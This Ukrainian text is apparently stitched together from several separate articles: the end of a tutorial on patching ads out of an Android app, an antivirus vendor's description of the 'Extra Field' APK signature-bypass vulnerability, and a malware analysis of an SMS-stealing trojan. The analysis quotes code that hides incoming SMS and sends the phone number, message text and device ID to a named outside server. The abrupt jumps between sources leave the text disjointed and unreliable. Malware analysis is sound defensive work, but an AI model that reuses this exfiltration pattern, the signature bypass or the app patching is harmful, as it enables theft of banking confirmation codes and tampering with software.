#if-ne p1, v0, :cond_10 goto:cond_10

Більше згадок FirstAd у коді немає, тому закриваємо файл і знову збираємо наш віртуальний факел за допомогою apktool. Копіюємо на смартфон, встановлюємо, запускаємо. Вуаля, вся реклама зникла, із чим нас усіх і вітаємо.

Підсумки

Ця стаття лише коротке введення в методи розкриття та модифікації Android-додатків. За кадром залишилося багато питань, таких як зняття захисту, розбір обфусцированного коду, переклад та заміна ресурсів програми, а також модифікація додатків, написаних з використанням Android NDK. Однак, маючи базові знання, розібратися в цьому - лише питання часу.

Extra Field - це вразливість у Google Android, що дозволяє зловмисникам змінювати вміст інсталяційного пакетубудь-якої програми для цієї ОС, не пошкодивши його цифровий підпис. За допомогою даної вразливості вірусописувачі можуть поширювати троянські програми, впровадивши шкідливий компонент у будь-який легітимний або довірений додаток.

Антивірус Dr.Web для Android не може ліквідувати цю вразливість, оскільки вона виявляється на рівні самої операційної системи, проте успішно визначає і видаляє шкідливі програми, що розповсюджуються з її допомогою ще при спробі їх проникнення і запуску на пристрої, що захищається.

Технічні подробиці

Дистрибутиви додатків для операційної системи Google Android поширюються у вигляді.APK-файлів, що являють собою ZIP-архів, в якому містяться всі необхідні для роботи програми компоненти. У процесі встановлення програми вони витягуються з архіву та їх контрольні суми перевіряються за спеціальним списком. Кожна програма має свій цифровий підпис.

Використовуючи вразливість Extra Field, зловмисники можуть змінити структуру APK-архіву: при додаванні в його службове поле значення одного з оригінальних компонентів програми (зокрема файлу classes.dex) без трьох перших байт з одночасним розміщенням на його місці модифікованої версії цього файлу, остання сприймається операційною системою як легітимна та допускається до встановлення. Незважаючи на те, що потенційне використання цієї вразливості обмежено розміром dex-файлу, який повинен становити не більше 65533 байт, зацікавлені в атаці кіберзлочинці цілком можуть легко їй скористатися, взявши за основу нешкідливу програму або гру, що має компонент відповідного розміру.

Файл classes.dex містить скомпільований код програми всередині файлу APK. Заголовок пакета APK включає деякий простір, в якому зберігається ім'я файлу з розширенням.dex, а також поле, званим extra field, в якому зберігається сам вміст файлу classes.dex і список використовуваних додатком класів. Якщо поле заголовка скорочується на три байти, змінюється значення довжини відповідного поля, що дозволяє зловмисникам включити в extra field оригінальний classes.dex, а також шкідливу копію файлу, частина якого також буде розміщуватися в extra field. Видозмінене поле може містити створені зловмисниками класи, що несуть шкідливе функціональне навантаження. Під час встановлення програми операційна системачитає вміст даного поля, внаслідок чого на пристрій, що атакується, встановлюється модифікований зловмисниками файл classes.dex.

Ви втратили вихідну програму і вам потрібно відновити код. Ви завантажили програму з вірусом і хочете дізнатися, що він робить.

Програми під Android розповсюджуються в архівах. Ці архіви мають розширення ".apk". Такі файли не шифруються і є фактично файлами «zip». Можете перейменувати apk-файл на zip, щоб переконатися в цьому.

Вам необхідно поколупатися в APK-файлі та отримати якісь дані. Можна потренуватися на кішках. Візьмемо свою програму "Hello Kitty", знайдемо його apk-файл у папці проекту app\build\outputs\apkта перемістимо в окрему папку для дослідів.

Розпакувавши архів, ви можете побачити структуру програми та зустріти знайомі файли. І навіть витягти деякі файли для перегляду. Наприклад, у папці res/drawable-hdpi-v4я знайшов свою картинку pinkhellokitty.png. Здавалося б, ось воно – щастя. Але зачекайте радіти. Якщо із зображеннями проблем немає, то з читанням XML-файл на вас чекає облом. Якісь рядки вам видно, але в цілому текст зовсім не читаний. Тому спочатку підемо іншим шляхом.

Так як користувацькі програмидля Android виконуються в java-машині, то APK-файли успадковують усі характерні риси JAR-файлів.

Вміст архіву зазвичай виглядає приблизно так:

Каталог META-INF містить:

CERT.RSA - сертифікат програми
CERT.SF - контрольні суми файлів ресурсів (картинок, звуків тощо)
MANIFEST.MF - службова інформація, що описує сам apk-файл

Розбір шкідливої ​​програми

Як приклад візьмемо програму suspicious.apkщо детектується різними антивірусами як шкідлива програма.

Щоб краще зрозуміти, що саме шукати, потрібно проаналізувати файл «AndroidManifest.xml» - подивитися, які саме дозволи потрібні додатку, що аналізується. Цей файлбінарний, а не звичайний текстовий XML. Для того, щоб його прочитати, потрібно скористатися консольною утилітою «aapt» з комплекту Android SDK. Вона знаходиться в каталозі "platform-tools". Оскільки графічного інтерфейсу немає, команду потрібно вводити в консолі. Наприклад, для Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Зрозуміло, ви маєте підставити свої шляхи. У Linux команда буде такою ж з очевидними відмінностями (не буде букв дисків і розширення exe у утиліти). Для більшої зручності висновок можна перенаправити у файл:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

У файлі потрібно знайти секцію «Android manifest» та шукати перерахування дозволів. В аналізованому файлі це виглядає так:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Raw: "android.permission.RECEIVE_SMS")

З цієї інформації стає зрозуміло, що програма може отримувати стан телефону (сюди включаються, наприклад, «телефон у режимі дзвінка», «телефон у режимі прийняття даних»). Цей дозвіл потрібний і для отримання номера телефону, на якому запущено програму, працювати з мережею та моніторити прихід СМС. На цих аспектах потрібно зосередити увагу при подальшому аналізі.

Для того, щоб отримати доступ до коду потрібно виконати два кроки - перетворити apk-файл на jar-файл і декомпілювати отриманий байткод більш зрозумілий для людини вигляд.

Скористаємося конвертером «dex2jar»:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Сконвертований файл буде в тому ж каталозі, що й оригінальний файл. До його імені буде додано ".dex2jar.jar", тобто в даному прикладіце буде "suspicious.apk.dex2jar.jar".

Цей файл можна відкрити декомпілятором. Ієрархія пакета у вікні декомпілятора виглядає так:


На цьому підготовчі кроки закінчуються - подальший успіх залежить тільки від вашого знання Java та вміння користуватися пошуковою системою.

На щастя, екземпляр вибраний для прикладу має досить скромні розміри – фінальний jar всього 7,01 KB.

У програмі лише шість класів. Виключимо ті, які не становлять інтересу. Це клас R, у якому лише перераховані ідентифікатори всіх ресурсів. Також з розгляду можна виключити клас Config, в якому міститься конфігурація збирання.

Розглянемо докладніше три класи, що залишилися.

Activation

Цей клас спрацьовує за подією onCreate(), тобто відразу після старту програми.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");- створює localTelephonyManager, в яку містить дані про пристрій.

str1 = localTelephonyManager.getDeviceId();- вибирає з отриманих даних ідентифікаційний номер пристрою та поміщає його у рядок str1

Далі йде цикл, який ділить DeviceIdна шматочки по чотири цифри, вставляючи між ними дефіс "-", тобто з XXXXXXXXXXXXXXXX виходить XXXX-XXXX-XXXX-XXXX. Отриманий рядок цифр та дефісів передають у TextViewз ідентифікатором №2131034112.

SmsReciever

Цей клас спрацьовує при надходженні SMS-повідомлення, подія onReceive().

У завдання цього класу входить відстежувати вхідні смс і у разі виявлення запускати клас MainService, передаючи йому покажчик на нове повідомлення.

MainService

Цей клас досить великий, тому не наводитиму його цілком. Відразу після виклику запускає субклас «SmsBlockerThread», який блокує повідомлення про SMS, що надійшов, щоб користувач не був сповіщений про новий вхідний СМС.

Потім вхідне СМСобробляється таким чином:

String str1 = localSmsMessage.getOriginatingAddress();- номер телефону-одержувача (тобто номер телефону, на якому встановлено троянець) поміщається у змінну str1.

String str2 = localSmsMessage.getMessageBody();- тіло повідомлення міститься в змінну str2

Потім створюються пов'язані пари localBasicNameValuePair1і localBasicNameValuePair2в які містяться значення

F0=<номер телефона>b0=<текст сообщения>

Ці пари зберігають в масив localArrayList, який пізніше додають пару localBasicNameValuePair3, Що являє собою id=

При цьому, як бачите, DeviceIdвиходить заново, а не використовується те, що було отримано у класі Activation. Закінчується тим, що викликається метод postRequest()з останнього класу ServerSession:

Try ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; )

Як параметр передається той самий масив пар, в якому номер телефону, вміст СМС та ідентифікатор пристрою.

ServerSession

Цей клас має два методи: initUrl(), який повертає частину посилання "(http://softthrifty.com/security.jsp)":

Public static String initUrl() ( return "http://softthrifty.com/security.jsp"; )

та великий метод postRequest(), який викликався із класу MainService. Незважаючи на розмір, завдання postRequest()проста - відправити на сервер за посиланням, що повертається методом initUrl(), дані, додавши пари з масиву, зібраного в MainService. Тобто лише звернутися за посиланням:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Підсумок

Отже, цей троянець перехоплює СМС та відправляє на сервер запит, у якому передає номер зараженого телефону, вміст СМС та ідентифікатор зараженого телефону. Така поведінка може бути ознакою банківського троянця, що атакує двофакторну авторизацію. Для успішної атакипотрібно виконання таких умов:

1) зловмисник повинен заразити комп'ютер жертви, щоб перехопити дані для он-лайн банкінгу;
2) зловмисник повинен заразити телефон жертви для перехоплення СМС із кодом підтвердження від банку;
3) зловмисник повинен якимось чином пов'язати користувача зараженого комп'ютера та зараженого телефону, щоб знати, від яких облікових даних он-лайн банкінгу цей код підтвердження;

У силу своїх розмірів і очевидності діяльності такий зразок добре підходить для демонстрації базових прийомів розбору шкідливих програм під Андроїд.